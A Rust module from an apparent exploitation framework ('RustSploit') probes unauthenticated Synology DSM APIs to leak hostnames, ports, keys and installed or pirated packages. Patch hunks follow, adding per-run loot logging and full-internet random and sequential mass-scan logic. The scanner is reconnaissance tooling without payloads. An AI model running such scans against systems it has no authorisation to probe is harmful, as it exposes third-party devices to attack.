//! * `SYNO.API.Encryption` — 4096-bit RSA login encryption pubkey
|
||||
//! * `SYNO.Core.Desktop.SessionData` — hostname, internal HTTP/HTTPS ports,
|
||||
//! `is_secure` flag, language, 2FA settings
|
||||
//! * `SYNO.Core.Desktop.Initdata` — installed package list (often
|
||||
//! reveals pirated / unofficial SPK packages such as `dmtc.spk`)
|
||||
//!
|
||||
//! This module is detection-only — it sends GET requests against the public
|
||||
//! webapi dispatcher and records which endpoints leaked usable data.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::safe_io::DEFAULT_BODY_CAP;
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 5000;
|
||||
const TIMEOUT_SECS: u64 = 12;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Synology DSM — Unauthenticated API Disclosure".to_string(),
|
||||
description: "Probes Synology DiskStation Manager web APIs reachable without\n\
|
||||
authentication: API catalog, SessionData, Initdata, Auth type,\n\
|
||||
RSA encryption key. Detects pirated / unofficial packages such\n\
|
||||
as dmtc.spk and reports hostname / internal port mapping."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"https://kb.synology.com/en-global/DG/DSM_developer_guide/preface".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2026-06-12".to_string()),
|
||||
rank: ModuleRank::Great,
|
||||
default_port: Some(DEFAULT_PORT),
|
||||
}
|
||||
}
|
||||
|
||||
const PROBE_APIS: &[(&str, &str, &str)] = &[
|
||||
(
|
||||
"/webapi/query.cgi?api=SYNO.API.Info&version=1&method=query&query=all",
|
||||
"SYNO.API.Info",
|
||||
"api_catalog",
|
||||
),
|
||||
(
|
||||
"/webapi/entry.cgi?api=SYNO.API.Auth.Type&version=1&method=get",
|
||||
"SYNO.API.Auth.Type",
|
||||
"auth_type",
|
||||
),
|
||||
(
|
||||
"/webapi/entry.cgi?api=SYNO.API.Auth.UIConfig&version=1&method=get",
|
||||
"SYNO.API.Auth.UIConfig",
|
||||
"auth_ui_config",
|
||||
),
|
||||
(
|
||||
"/webapi/entry.cgi?api=SYNO.API.Encryption&version=1&method=getinfo",
|
||||
"SYNO.API.Encryption",
|
||||
"rsa_pubkey",
|
||||
),
|
||||
(
|
||||
"/webapi/entry.cgi?api=SYNO.Core.Desktop.SessionData&version=1&method=get",
|
||||
"SYNO.Core.Desktop.SessionData",
|
||||
"session_data",
|
||||
),
|
||||
(
|
||||
"/webapi/entry.cgi?api=SYNO.Core.Desktop.Initdata&version=1&method=get",
|
||||
"SYNO.Core.Desktop.Initdata",
|
||||
"initdata",
|
||||
),
|
||||
];
|
||||
|
||||
const PIRATED_PACKAGES: &[&str] = &["dmtc.spk", "yunmeng", "clouddream"];
|
||||
const UNOFFICIAL_PACKAGES: &[&str] = &["alist3", "aliyundrive-webdav", "aria2", "homebridge"];
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("synology_dsm_disclosure requires a single-host target")?;
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "DSM HTTP port (often 5000, 5001 HTTPS)", DEFAULT_PORT).await?;
|
||||
let scheme = cfg_prompt_default("scheme", "Scheme (http/https)", "http").await?;
|
||||
let base = format!("{}://{}:{}", scheme, normalized, port);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
|
||||
.context("HTTP client")?;
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Synology DSM — Unauthenticated API Disclosure ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!("{} {}", "[*] Target:".yellow(), base);
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let mut leaked_apis: Vec<String> = Vec::new();
|
||||
let mut detected_packages: Vec<String> = Vec::new();
|
||||
let mut pirated_hits: Vec<String> = Vec::new();
|
||||
let mut hostname: Option<String> = None;
|
||||
let mut http_port_internal: Option<u32> = None;
|
||||
let mut https_port_internal: Option<u32> = None;
|
||||
let mut is_secure: Option<bool> = None;
|
||||
let mut api_count: Option<usize> = None;
|
||||
let mut dsm_fingerprinted = false;
|
||||
|
||||
for (path, api_name, label) in PROBE_APIS {
|
||||
let url = format!("{}{}", base, path);
|
||||
if let Ok(r) = client.get(&url).send().await {
|
||||
let status = r.status();
|
||||
if !status.is_success() {
|
||||
continue;
|
||||
}
|
||||
let body = match crate::utils::network::read_http_body_text_capped(r, DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} {} body read failed: {}", "[-]".yellow(), api_name, e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
// Synology returns JSON-like text — looking for {"success":true,"data":...}
|
||||
if !body.contains("\"success\":true") && !body.contains("\"data\"") {
|
||||
continue;
|
||||
}
|
||||
dsm_fingerprinted = true;
|
||||
crate::mprintln!("{} {} reachable ({} bytes)", "[+]".green(), api_name, body.len());
|
||||
leaked_apis.push((*api_name).to_string());
|
||||
|
||||
match *label {
|
||||
"api_catalog" => {
|
||||
// Count distinct "SYNO." references as a coarse API count
|
||||
let count = body.matches("\"SYNO.").count();
|
||||
if count > 0 {
|
||||
api_count = Some(count);
|
||||
}
|
||||
}
|
||||
"session_data" | "initdata" => {
|
||||
if let Some(h) = extract_string_value(&body, "hostname") {
|
||||
hostname.get_or_insert(h);
|
||||
}
|
||||
if let Some(p) = extract_num_value(&body, "dsm_http_port") {
|
||||
http_port_internal.get_or_insert(p);
|
||||
}
|
||||
if let Some(p) = extract_num_value(&body, "dsm_https_port") {
|
||||
https_port_internal.get_or_insert(p);
|
||||
}
|
||||
if let Some(b) = extract_bool_value(&body, "is_secure") {
|
||||
is_secure.get_or_insert(b);
|
||||
}
|
||||
// Scan for installed packages — extract names referenced as keys
|
||||
let lower = body.to_lowercase();
|
||||
for pkg in PIRATED_PACKAGES {
|
||||
if lower.contains(&pkg.to_lowercase()) {
|
||||
pirated_hits.push((*pkg).to_string());
|
||||
}
|
||||
}
|
||||
for pkg in UNOFFICIAL_PACKAGES {
|
||||
if lower.contains(&pkg.to_lowercase()) {
|
||||
detected_packages.push((*pkg).to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !dsm_fingerprinted {
|
||||
crate::mprintln!(
|
||||
"{} no DSM webapi responses — target may not be Synology or is firewalled",
|
||||
"[-]".yellow()
|
||||
);
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
if let Some(h) = &hostname {
|
||||
crate::mprintln!("{} hostname: {}", "[+]".green(), h);
|
||||
}
|
||||
if let Some(p) = http_port_internal {
|
||||
crate::mprintln!("{} internal HTTP port: {}", "[+]".green(), p);
|
||||
}
|
||||
if let Some(p) = https_port_internal {
|
||||
crate::mprintln!("{} internal HTTPS port: {}", "[+]".green(), p);
|
||||
}
|
||||
if let Some(s) = is_secure {
|
||||
crate::mprintln!("{} is_secure flag: {}", "[+]".green(), s);
|
||||
}
|
||||
if let Some(c) = api_count {
|
||||
crate::mprintln!("{} approximate API catalog size: {}", "[+]".green(), c);
|
||||
}
|
||||
if !detected_packages.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{} unofficial packages: {}",
|
||||
"[+]".green(),
|
||||
detected_packages.join(", ")
|
||||
);
|
||||
}
|
||||
if !pirated_hits.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{} PIRATED / cracked packages detected: {}",
|
||||
"[!]".red().bold(),
|
||||
pirated_hits.join(", ")
|
||||
);
|
||||
}
|
||||
|
||||
crate::workspace::track_host(&normalized, hostname.as_deref(), Some("Synology DSM")).await;
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"Synology DSM at {} exposes {} unauthenticated API endpoint(s)",
|
||||
base,
|
||||
leaked_apis.len()
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"leaked_apis": leaked_apis,
|
||||
"hostname": hostname,
|
||||
"http_port_internal": http_port_internal,
|
||||
"https_port_internal": https_port_internal,
|
||||
"is_secure": is_secure,
|
||||
"api_catalog_size": api_count,
|
||||
"unofficial_packages": detected_packages,
|
||||
"pirated_packages": pirated_hits,
|
||||
})),
|
||||
});
|
||||
|
||||
if !pirated_hits.is_empty() {
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"Synology DSM at {} runs pirated package(s): {}",
|
||||
normalized,
|
||||
pirated_hits.join(", ")
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"pirated_packages": pirated_hits,
|
||||
})),
|
||||
});
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
fn extract_string_value(body: &str, key: &str) -> Option<String> {
|
||||
let needle = format!("\"{}\":", key);
|
||||
let idx = body.find(&needle)?;
|
||||
let tail = &body[idx + needle.len()..].trim_start();
|
||||
let tail = tail.strip_prefix('"')?;
|
||||
let end = tail.find('"')?;
|
||||
Some(tail[..end].to_string())
|
||||
}
|
||||
|
||||
fn extract_num_value(body: &str, key: &str) -> Option<u32> {
|
||||
let needle = format!("\"{}\":", key);
|
||||
let idx = body.find(&needle)?;
|
||||
let tail = body[idx + needle.len()..].trim_start();
|
||||
let digits: String = tail.chars().take_while(|c| c.is_ascii_digit()).collect();
|
||||
if digits.is_empty() {
|
||||
None
|
||||
} else {
|
||||
digits.parse().ok()
|
||||
}
|
||||
}
|
||||
|
||||
fn extract_bool_value(body: &str, key: &str) -> Option<bool> {
|
||||
let needle = format!("\"{}\":", key);
|
||||
let idx = body.find(&needle)?;
|
||||
let tail = body[idx + needle.len()..].trim_start();
|
||||
if tail.starts_with("true") {
|
||||
Some(true)
|
||||
} else if tail.starts_with("false") {
|
||||
Some(false)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn parses_string_value() {
|
||||
let body = r#"{"hostname":"ChenHome","other":"x"}"#;
|
||||
assert_eq!(extract_string_value(body, "hostname"), Some("ChenHome".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parses_num_value() {
|
||||
let body = r#"{"dsm_http_port":5000,"dsm_https_port":5001}"#;
|
||||
assert_eq!(extract_num_value(body, "dsm_http_port"), Some(5000));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parses_bool_value() {
|
||||
assert_eq!(extract_bool_value(r#"{"is_secure":false}"#, "is_secure"), Some(false));
|
||||
assert_eq!(extract_bool_value(r#"{"is_secure":true}"#, "is_secure"), Some(true));
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(
|
||||
crate::module::Category::Scanners,
|
||||
"synology_dsm_disclosure",
|
||||
native
|
||||
);
|
||||
@@ -175,6 +175,7 @@ pub fn _mprint_line(text: &str) {
|
||||
if let Err(e) = crate::spool::SPOOL.write_line(text) {
|
||||
handle_spool_error(e);
|
||||
}
|
||||
crate::results_sink::write_line(text);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -188,6 +189,7 @@ pub fn _mprint_newline() {
|
||||
if let Err(e) = crate::spool::SPOOL.write_line("") {
|
||||
handle_spool_error(e);
|
||||
}
|
||||
crate::results_sink::write_line("");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -207,6 +209,7 @@ pub fn _mprint_raw(text: &str) {
|
||||
if let Err(e) = crate::spool::SPOOL.write_raw(text) {
|
||||
handle_spool_error(e);
|
||||
}
|
||||
crate::results_sink::write_raw(text);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -226,6 +229,7 @@ pub fn _mprint_block(lines: &[&str]) {
|
||||
if let Err(e) = crate::spool::SPOOL.write_line(line) {
|
||||
handle_spool_error(e);
|
||||
}
|
||||
crate::results_sink::write_line(line);
|
||||
}
|
||||
drop(guard);
|
||||
}
|
||||
@@ -238,6 +242,8 @@ pub fn _meprint_line(text: &str) {
|
||||
});
|
||||
if buffered.is_err() {
|
||||
eprintln!("{}", text);
|
||||
// "all output" includes diagnostics: capture stderr in the per-run file too.
|
||||
crate::results_sink::write_line(text);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -248,6 +254,7 @@ pub fn _meprint_newline() {
|
||||
});
|
||||
if buffered.is_err() {
|
||||
eprintln!();
|
||||
crate::results_sink::write_line("");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -262,6 +269,7 @@ pub fn _meprint_raw(text: &str) {
|
||||
if let Err(e) = std::io::stderr().flush() {
|
||||
eprintln!("[!] Flush failed: {}", e);
|
||||
}
|
||||
crate::results_sink::write_raw(text);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
// src/results_sink.rs
|
||||
//
|
||||
// Per-run auto-save. When active, every console line a module emits is appended
|
||||
// to `~/.rustsploit/loot/<module> <time> results.txt`. This mirrors the
|
||||
// global-write pattern of `crate::spool` (so output from spawned per-host tasks
|
||||
// in a mass scan is captured too), but it APPENDS rather than truncates and
|
||||
// writes under the loot directory with an auto-generated, per-run filename.
|
||||
//
|
||||
// The caller (`commands::run_module`) scopes this to interactive console / CLI
|
||||
// runs only — those are sequential, so a single global handle is race-free.
|
||||
// API / MCP runs already return their captured output to the caller via
|
||||
// `OUTPUT_BUFFER`, so they are not auto-saved here.
|
||||
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::Write;
|
||||
use std::sync::RwLock;
|
||||
|
||||
use once_cell::sync::Lazy;
|
||||
|
||||
/// The active per-run results file, or `None` when no run is being saved.
|
||||
static SINK: Lazy<RwLock<Option<File>>> = Lazy::new(|| RwLock::new(None));
|
||||
|
||||
/// Warn at most once if appends start failing (e.g. disk full), so a broken
|
||||
/// sink can't flood the console with one error per output line.
|
||||
static WRITE_WARNED: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false);
|
||||
|
||||
fn warn_once(e: std::io::Error) {
|
||||
if !WRITE_WARNED.swap(true, std::sync::atomic::Ordering::Relaxed) {
|
||||
eprintln!("[!] Results auto-save write failed (further errors suppressed): {e}");
|
||||
}
|
||||
}
|
||||
|
||||
/// Acquire the sink write lock, recovering from a poisoned lock rather than
|
||||
/// panicking — the guarded value is just an `Option<File>` with no broken
|
||||
/// invariant a prior panic could have left behind.
|
||||
fn sink_write() -> std::sync::RwLockWriteGuard<'static, Option<File>> {
|
||||
match SINK.write() {
|
||||
Ok(guard) => guard,
|
||||
Err(poisoned) => poisoned.into_inner(),
|
||||
}
|
||||
}
|
||||
|
||||
fn sink_read() -> std::sync::RwLockReadGuard<'static, Option<File>> {
|
||||
match SINK.read() {
|
||||
Ok(guard) => guard,
|
||||
Err(poisoned) => poisoned.into_inner(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Begin auto-saving the current run's output. Opens (in APPEND mode) the
|
||||
/// per-run file `<loot>/<module> <YYYY-MM-DD_HH-MM-SS> results.txt` and makes it
|
||||
/// the active sink. Failure is non-fatal: the run continues, just unsaved.
|
||||
pub fn begin(module_path: &str) {
|
||||
// Tenant-scoped loot directory (falls back to the global ~/.rustsploit/loot
|
||||
// store in shell/CLI mode); the store creates the directory if needed.
|
||||
let loot_dir = crate::tenant::resolve()
|
||||
.loot_store()
|
||||
.loot_directory()
|
||||
.clone();
|
||||
|
||||
// Module paths contain `/` (e.g. "scanners/service_scanner"); flatten them so
|
||||
// the result is a single file rather than a nested path.
|
||||
let safe_module = module_path.replace(['/', '\\'], "_");
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d_%H-%M-%S");
|
||||
let file_name = format!("{safe_module} {ts} results.txt");
|
||||
let path = loot_dir.join(&file_name);
|
||||
|
||||
match OpenOptions::new().create(true).append(true).open(&path) {
|
||||
Ok(mut file) => {
|
||||
let stamp = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
if let Err(e) = writeln!(file, "\n# === {module_path} @ {stamp} ===") {
|
||||
warn_once(e);
|
||||
}
|
||||
*sink_write() = Some(file);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::meprintln!("[!] Could not open results file {}: {e}", path.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Stop auto-saving the current run and drop the file handle.
|
||||
pub fn end() {
|
||||
*sink_write() = None;
|
||||
}
|
||||
|
||||
/// Append a line (with newline) to the active sink, if any. Invoked from the
|
||||
/// console output routing functions next to the real stdout/stderr write.
|
||||
pub fn write_line(text: &str) {
|
||||
let guard = sink_read();
|
||||
if let Some(file) = guard.as_ref() {
|
||||
// `impl Write for &File` lets concurrent tasks append through a shared
|
||||
// read guard without taking the write lock per line.
|
||||
let mut handle: &File = file;
|
||||
if let Err(e) = writeln!(handle, "{text}") {
|
||||
warn_once(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Append raw text (no trailing newline) to the active sink, if any.
|
||||
pub fn write_raw(text: &str) {
|
||||
let guard = sink_read();
|
||||
if let Some(file) = guard.as_ref() {
|
||||
let mut handle: &File = file;
|
||||
if let Err(e) = write!(handle, "{text}") {
|
||||
warn_once(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
+225
-29
@@ -11,6 +11,7 @@
|
||||
// during migration; new code (CLI, shell, API, MCP) calls
|
||||
// `scheduler::run` directly.
|
||||
|
||||
use std::io::IsTerminal;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
@@ -285,6 +286,23 @@ async fn run_with_limits_shared(
|
||||
if l.precheck_port.is_none() {
|
||||
l.precheck_port = module.info().default_port;
|
||||
}
|
||||
// Full-sweep cap consistency: a literal `0.0.0.0/0` / `random` target
|
||||
// entered directly (e.g. `use <mod>; run`) never passes through the
|
||||
// shell's `setg target` handler, so without this it would silently fall
|
||||
// back to the scheduler default of 10_000 — while `setg target 0.0.0.0`
|
||||
// auto-bumps to the full public-IPv4 count. Normalise both paths: when
|
||||
// the operator has NOT explicitly set `max_random_hosts`, a full sweep
|
||||
// means every reachable public host. An explicit `setg max_random_hosts`
|
||||
// is always honoured. The advisory + confirmation gate still runs.
|
||||
if matches!(target, Target::Random) {
|
||||
let operator_set = crate::tenant::resolve()
|
||||
.global_options()
|
||||
.try_get("max_random_hosts")
|
||||
.is_some();
|
||||
if !operator_set {
|
||||
l.max_random_hosts = crate::utils::cyclic::total_public_ipv4_count() as usize;
|
||||
}
|
||||
}
|
||||
l
|
||||
};
|
||||
|
||||
@@ -390,17 +408,38 @@ async fn fanout_single(
|
||||
ctx.tenant_id = tenant_id;
|
||||
ctx.verbose = verbose;
|
||||
ctx.module_path = module_path;
|
||||
// Interactive modules (e.g. wpair's REPL) own their own lifetime — running
|
||||
// them under the per-target deadline would kill the session the moment it
|
||||
// waits for input. Everything else keeps the timeout.
|
||||
let outcome = if module.capabilities().interactive {
|
||||
module.run(&ctx).await?
|
||||
} else {
|
||||
// The per-target deadline is a MASS-SCAN safeguard: when fanning out across
|
||||
// many hosts, one slow/hung host must not starve the scan. For a SINGLE,
|
||||
// deliberately-chosen target it is actively harmful:
|
||||
// * interactive modules (wpair's REPL) own their own session lifetime, and
|
||||
// * any module that prompts the operator inside run() (e.g. asyncssh's
|
||||
// "Username to impersonate") gets killed the moment the human takes
|
||||
// longer than the deadline to type. Worse, that prompt is a blocking
|
||||
// `spawn_blocking` stdin read which cannot be cancelled — killing the
|
||||
// run orphans the reader thread, which then races the shell for the next
|
||||
// line (the "lag after error" + corrupted REPL input).
|
||||
//
|
||||
// Enforce the deadline only when there is NO human at the console to answer
|
||||
// prompts or hit Ctrl-C — i.e. an API/MCP/background run (api_mode), or a
|
||||
// scripted/piped CLI run whose stdin is not a terminal. In those contexts
|
||||
// cfg_prompt_* resolves from options/defaults (it never blocks on a real
|
||||
// keyboard) and the run must stay bounded so it can't hang a request or a
|
||||
// script. An interactive console (stdin is a TTY) is exempt: the operator
|
||||
// chose this single target, can watch it, and can interrupt it — and a
|
||||
// prompt blocking on the keyboard must never count against a deadline.
|
||||
// Interactive modules (wpair's REPL) are always exempt. Mass-scan fan-out
|
||||
// paths keep their own per-host timeouts (fanout_cidr/_file/_random).
|
||||
let no_console_operator =
|
||||
crate::config::get_module_config().api_mode || !std::io::stdin().is_terminal();
|
||||
let enforce_deadline = !module.capabilities().interactive && no_console_operator;
|
||||
let outcome = if enforce_deadline {
|
||||
tokio::time::timeout(Duration::from_secs(limits.timeout_secs), module.run(&ctx))
|
||||
.await
|
||||
.map_err(|e| {
|
||||
anyhow::anyhow!("Module timed out after {}s: {e}", limits.timeout_secs)
|
||||
})??
|
||||
} else {
|
||||
module.run(&ctx).await?
|
||||
};
|
||||
// Publish single-target progress to the job's scan counters (if any).
|
||||
if let Some(c) = crate::context::scan_counters() {
|
||||
@@ -842,6 +881,20 @@ async fn fanout_random(
|
||||
module_path: String,
|
||||
shared_sem: Option<Arc<Semaphore>>,
|
||||
) -> Result<ModuleOutcome> {
|
||||
// Full-internet sweep advisory + interactive confirmation FIRST. Declining
|
||||
// must abort before anything is touched — including the prompt-harvest
|
||||
// dry-run below, which actually runs the module against a placeholder host.
|
||||
if !full_sweep_advisory_and_confirm(
|
||||
&module,
|
||||
&limits,
|
||||
Some(limits.max_random_hosts),
|
||||
"Random mass scan",
|
||||
)
|
||||
.await?
|
||||
{
|
||||
return Ok(ModuleOutcome::ok());
|
||||
}
|
||||
|
||||
// --- Pre-batch interactive prompt phase ---
|
||||
// Run module prompts ONCE before batch mode so the user can configure
|
||||
// interactively. Answers are cached and reused for all targets.
|
||||
@@ -878,22 +931,45 @@ async fn fanout_random(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Will scan up to {} random hosts with concurrency {}",
|
||||
"[*] Will scan up to {} hosts with concurrency {} (ZMap-style stateless permutation — no repeats)",
|
||||
limits.max_random_hosts, limits.concurrency
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
let progress_step = progress_step_for(limits.max_random_hosts as u128);
|
||||
let mut seen = std::collections::HashSet::<std::net::IpAddr>::new();
|
||||
for _ in 0..limits.max_random_hosts {
|
||||
// ZMap-style stateless permutation of the IPv4 space: every address is
|
||||
// visited at most once with O(1) memory and no dedup table (see
|
||||
// `crate::utils::cyclic`). This replaces the old random-sample + `HashSet`,
|
||||
// which grew unboundedly and — as coverage rose — wasted an ever-larger
|
||||
// share of samples re-drawing addresses it had already seen.
|
||||
let mut cyclic = crate::utils::cyclic::CyclicIp::random()?;
|
||||
let mut dispatched: usize = 0;
|
||||
while dispatched < limits.max_random_hosts {
|
||||
if cancel.is_cancelled() || stats.abort.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let ip = crate::utils::generate_random_public_ip(&exclusions);
|
||||
if !seen.insert(ip) {
|
||||
continue;
|
||||
}
|
||||
// Pull the next real, non-excluded address from the permutation.
|
||||
// Reserved ranges and operator exclusions are skipped without counting
|
||||
// against the host budget (they were never valid targets). `None` means
|
||||
// the entire address space has been enumerated.
|
||||
let ip = 'pick: loop {
|
||||
match cyclic.next() {
|
||||
Some(addr) => {
|
||||
if crate::utils::cyclic::is_reserved_ipv4(addr) {
|
||||
continue;
|
||||
}
|
||||
let ip = std::net::IpAddr::V4(addr);
|
||||
if exclusions.iter().any(|net| net.contains(ip)) {
|
||||
continue;
|
||||
}
|
||||
break 'pick Some(ip);
|
||||
}
|
||||
None => break 'pick None,
|
||||
}
|
||||
};
|
||||
let Some(ip) = ip else { break };
|
||||
dispatched += 1;
|
||||
let ip_str = ip.to_string();
|
||||
if let Some(cp) = checkpoint.as_ref()
|
||||
&& cp.already_processed(&ip_str).await {
|
||||
@@ -1019,16 +1095,6 @@ async fn fanout_sequential(
|
||||
const LAST_PUBLIC: u32 = 0xDFFF_FFFF; // 223.255.255.255 (end of Class A-C)
|
||||
|
||||
let cfg = crate::config::get_module_config();
|
||||
if !cfg.api_mode {
|
||||
pre_batch_prompt(&module, &options, cancel.clone(), tenant_id.clone(), &module_path).await?;
|
||||
}
|
||||
|
||||
let batch_guard = crate::context::enter_batch_mode();
|
||||
let stats = Arc::new(ScanStats::default());
|
||||
let sem = shared_sem.unwrap_or_else(|| Arc::new(Semaphore::new(limits.concurrency)));
|
||||
let prompt_cache = crate::context::new_prompt_cache();
|
||||
let exclusions = crate::exclusions::shared();
|
||||
let module_err = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Optional operator cap. Unbounded unless `max_random_hosts` is explicitly set.
|
||||
let cap: Option<usize> = match crate::tenant::resolve()
|
||||
@@ -1048,6 +1114,25 @@ async fn fanout_sequential(
|
||||
None => None,
|
||||
};
|
||||
|
||||
// Full-internet sweep advisory + interactive confirmation FIRST. Declining
|
||||
// must abort before anything is touched (the resume marker, and the
|
||||
// prompt-harvest dry-run below which runs the module against a placeholder).
|
||||
if !full_sweep_advisory_and_confirm(&module, &limits, cap, "Sequential mass scan").await? {
|
||||
return Ok(ModuleOutcome::ok());
|
||||
}
|
||||
|
||||
// Pre-batch interactive prompt phase (after confirmation).
|
||||
if !cfg.api_mode {
|
||||
pre_batch_prompt(&module, &options, cancel.clone(), tenant_id.clone(), &module_path).await?;
|
||||
}
|
||||
|
||||
let batch_guard = crate::context::enter_batch_mode();
|
||||
let stats = Arc::new(ScanStats::default());
|
||||
let sem = shared_sem.unwrap_or_else(|| Arc::new(Semaphore::new(limits.concurrency)));
|
||||
let prompt_cache = crate::context::new_prompt_cache();
|
||||
let exclusions = crate::exclusions::shared();
|
||||
let module_err = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// High-water-mark resume: the per-IP set used by random/CIDR does not scale
|
||||
// to billions of addresses, so sequential stores the last dispatched IP and
|
||||
// resumes from `hi + 1`.
|
||||
@@ -1190,7 +1275,7 @@ async fn fanout_sequential(
|
||||
dispatched += 1;
|
||||
last_dispatched = ip;
|
||||
// Persist the high-water mark periodically (cheap; bounds resume granularity).
|
||||
if dispatched % progress_step.max(1) == 0 {
|
||||
if dispatched.is_multiple_of(progress_step.max(1)) {
|
||||
crate::checkpoint::write_seq_marker(&scan_id, ip);
|
||||
}
|
||||
|
||||
@@ -1252,15 +1337,37 @@ async fn pre_batch_prompt(
|
||||
ctx.cancel = cancel;
|
||||
ctx.tenant_id = tenant_id;
|
||||
ctx.batch_mode = false;
|
||||
// Mark this as a prompt-harvest dry run: `cfg_prompt_*` still prompts
|
||||
// (batch_mode is false), but a module that honours `prompt_only` will return
|
||||
// immediately after gathering answers instead of doing real work against the
|
||||
// placeholder host. Output is captured below as a belt-and-suspenders for
|
||||
// modules that don't yet check the flag.
|
||||
ctx.prompt_only = true;
|
||||
ctx.prompt_cache = None;
|
||||
ctx.module_path = module_path.to_string();
|
||||
|
||||
// Run with a short timeout — we expect it to fail on the network side,
|
||||
// but prompts will have been answered by then.
|
||||
let result = tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
// This dry-run exists ONLY to drive the module's `cfg_prompt_*` calls so a
|
||||
// human can answer them once before the batch starts. The operator is
|
||||
// typing at the console here, so the bound must be generous: a 5s deadline
|
||||
// (the old value) would fire while the operator is still answering, and
|
||||
// because each prompt is a blocking `spawn_blocking` stdin read that cannot
|
||||
// be cancelled, killing the dry-run orphaned that reader thread — which then
|
||||
// raced the next prompt / the shell for input. Keep a large backstop purely
|
||||
// so a misbehaving module's post-prompt network work can't hang batch setup
|
||||
// forever (the dummy target 0.0.0.1 normally fails fast); the operator can
|
||||
// always Ctrl-C.
|
||||
// Capture the dry-run's console output into a throwaway buffer so it never
|
||||
// reaches the operator. This phase exists ONLY to drive the module's
|
||||
// `cfg_prompt_*` calls; without this, a connect-based module (e.g.
|
||||
// service_scanner) actually "scans" the placeholder host 0.0.0.1 and prints
|
||||
// a confusing `Scanning 0.0.0.1 … 0 services detected` block. Interactive
|
||||
// prompts use `print!` (real stdout) and stay visible; only `mprintln!` /
|
||||
// `meprintln!` module output is suppressed.
|
||||
let run_fut = crate::output::OUTPUT_BUFFER.scope(
|
||||
crate::output::OutputBuffer::new(),
|
||||
module.run(&ctx),
|
||||
).await;
|
||||
);
|
||||
let result = tokio::time::timeout(Duration::from_secs(300), run_fut).await;
|
||||
|
||||
// Regardless of success/failure, the prompts have been answered and
|
||||
// stored in global options by cfg_prompt_*. Swallow the error.
|
||||
@@ -1280,6 +1387,95 @@ async fn pre_batch_prompt(
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Print a one-time advisory before a full-internet sweep (`random` /
|
||||
/// `0.0.0.0` / `0.0.0.0/0`, random or sequential) showing the knobs an operator
|
||||
/// usually wants to set, then — on an interactive console only — ask for an
|
||||
/// explicit confirmation. Returns `false` when the operator declines (the
|
||||
/// caller aborts the sweep). API/MCP and piped/scripted runs are never prompted
|
||||
/// (they proceed), mirroring how the per-target deadline is gated.
|
||||
///
|
||||
